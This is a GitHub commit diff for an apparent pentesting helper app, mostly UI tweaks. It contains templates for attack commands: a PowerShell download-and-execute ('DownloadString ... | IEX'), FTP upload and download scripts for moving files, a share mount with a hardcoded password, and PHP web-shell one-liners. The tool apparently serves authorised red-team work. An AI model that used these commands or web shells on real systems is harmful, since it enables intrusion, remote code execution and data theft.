Skip to content

Commit

Permalink
fix select options
Browse files Browse the repository at this point in the history
  • Loading branch information
LasCC committed Mar 11, 2023
1 parent 7f8a293 commit 48a85c9
Show file tree
Hide file tree
Showing 4 changed files with 31 additions and 24 deletions.
3 changes: 1 addition & 2 deletions src/components/LayoutApp.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -184,9 +184,8 @@ export default function LayoutApp ( props: {
const target = window.location.href;

const handleHatClick = () => {
// navigate( Notepad );
const notepad_route_ctx = {
key: '1', // to prevent error in useEffect
key: '1',
name: 'Hat Clicked',
componentRoute: Notepad
}
Expand Down
10 changes: 5 additions & 5 deletions src/components/file_transfer/File_transfer.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -31,19 +31,19 @@ export default function FileTransfer () {
const fileLessIEXPipe = `(New-Object Net.WebClient).DownloadString('${ values.target_file_name }') | IEX`
const iwr = `iwr -Uri '${ values.target_file_name }' -OutFile '${ values.output_file_name }'`
const InvokeWebRequest = `Invoke-WebRequest -Uri '${ values.target_file_name }' -OutFile '${ values.output_file_name }'`
const copyFromSmb = `copy \\\\${ values.ip }\\filename.exe`
const copyFromSmb = `copy \\\\${ values.ip }\\${ values.output_file_name }`
const mountShareWithPasswords = `net use z: \\\\${ values.ip }\\share /user:johnDoe Sup3rP@ssw0rd!`
const DownloadFromFTP = `(New-Object System.Net.WebClient).DownloadFile('ftp://${ values.ip }/file.exe','${ values.output_file_name }')`
const DownloadFromFTP = `(New-Object System.Net.WebClient).DownloadFile('ftp://${ values.ip }/${ values.output_file_name }','${ values.output_file_name }')`
const scriptFTP = `echo open ${ values.ip } ${ values.port } > ftp.txt
echo USER anonymous >> ftp.txt
echo GET file.exe >> ftp.txt
echo GET ${ values.output_file_name } >> ftp.txt
echo BYE >> ftp.txt
ftp -v -s:ftp.txt`
const powershellFTPUpload = `(New-Object System.Net.WebClient).UploadFile('ftp://${ values.ip }/file.exe','C:\\Users\\Public\\file.exe')`
const powershellFTPUpload = `(New-Object System.Net.WebClient).UploadFile('ftp://${ values.ip }/${ values.output_file_name }','C:\\Users\\Public\\${ values.output_file_name }')`
const scriptUploadFTP = `echo open ${ values.ip } ${ values.port } > ftp.txt
echo USER anonymous >> ftp.txt
echo binary >> ftp.txt
echo PUT file.exe >> ftp.txt
echo PUT ${ values.output_file_name } >> ftp.txt
echo BYE >> ftp.txt
ftp -v -s:ftp.txt`

Expand Down
30 changes: 19 additions & 11 deletions src/components/linux/ReverseShell.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,6 @@ import { ColumnType, FilterConfirmProps, FilterValue, SorterResult } from 'antd/
import Highlighter from 'react-highlight-words';

const { Title, Paragraph, Text } = Typography;
const { Option } = Select;
const IconFont = createFromIconfontCN( {
scriptUrl: [ './iconfont.js' ]
} );
Expand Down Expand Up @@ -212,7 +211,6 @@ export default function ReverseShell () {
key: 'action',
render: ( _, { command } ) => (
<>

<Dropdown.Button
menu={{
items, onClick: ( e ) => {
Expand Down Expand Up @@ -299,19 +297,29 @@ export default function ReverseShell () {
<Col span={8}>
<Form.Item name='shell' valuePropName={String( values.shell )} label='Shell'>
<Select
showSearch
onChange={handleChangeSelect( 'shell' )}
placeholder='/bin/sh'
value={String( values.shell )}
allowClear
>
<Option value={'sh'}>sh</Option>
<Option value={'/bin/sh'}>/bin/sh</Option>
<Option value={'bash'}>bash</Option>
<Option value={'/bin/bash'}>/bin/bash</Option>
<Option value={'cmd'}>cmd</Option>
<Option value={'powershell'}>powershell</Option>
<Option value={'pwsh'}>pwsh</Option>
options={[
{
label: 'Linux / macOS',
options: [
{ label: 'sh', value: 'sh' },
{ label: '/bin/sh', value: '/bin/sh' },
{ label: 'bash', value: 'bash' },
{ label: '/bin/bash', value: '/bin/bash' },
],
},
{
label: 'Windows',
options: [
{ label: 'cmd', value: 'cmd' },
{ label: 'powershell', value: 'powershell' },
{ label: 'pwsh', value: 'pwsh' },
],
},
]}>
</Select>
</Form.Item>
</Col>
Expand Down
12 changes: 6 additions & 6 deletions src/components/web/PhpReverseShell.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -257,7 +257,7 @@ export default function PhpReverseShell () {
type: 'text/plain'
} );
element.href = URL.createObjectURL( file );
element.download = 'reverseShell.php';
element.download = 'rev.php';
document.body.appendChild( element );
element.click();
}}
Expand Down Expand Up @@ -369,7 +369,7 @@ export default function PhpReverseShell () {
<DownloadOutlined /> Download
</Button>
<Clipboard component='a' data-clipboard-text={'<?=`$_GET[0]`?>'}>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>
<CopyOutlined /> Copy
</Button>
</Clipboard>
Expand Down Expand Up @@ -399,7 +399,7 @@ export default function PhpReverseShell () {
<DownloadOutlined /> Download
</Button>
<Clipboard component='a' data-clipboard-text={'<?=`$_POST[0]`?>'}>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>
<CopyOutlined /> Copy
</Button>
</Clipboard>
Expand Down Expand Up @@ -431,7 +431,7 @@ export default function PhpReverseShell () {
<DownloadOutlined /> Download
</Button>
<Clipboard component='a' data-clipboard-text={"<?=`{$_REQUEST['_']}`?>"}>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>
<CopyOutlined /> Copy
</Button>
</Clipboard>
Expand Down Expand Up @@ -462,7 +462,7 @@ export default function PhpReverseShell () {
<DownloadOutlined /> Download
</Button>
<Clipboard component='a' data-clipboard-text={shell_obfuscate}>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>
<CopyOutlined /> Copy
</Button>
</Clipboard>
Expand Down Expand Up @@ -494,7 +494,7 @@ export default function PhpReverseShell () {
<DownloadOutlined /> Download
</Button>
<Clipboard component='a' data-clipboard-text={shell_obfuscate_function}>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}>
<Button type='dashed' style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} onClick={successInfoReverseShell}>
<CopyOutlined /> Copy
</Button>
</Clipboard>
Expand Down

0 comments on commit 48a85c9

Please sign in to comment.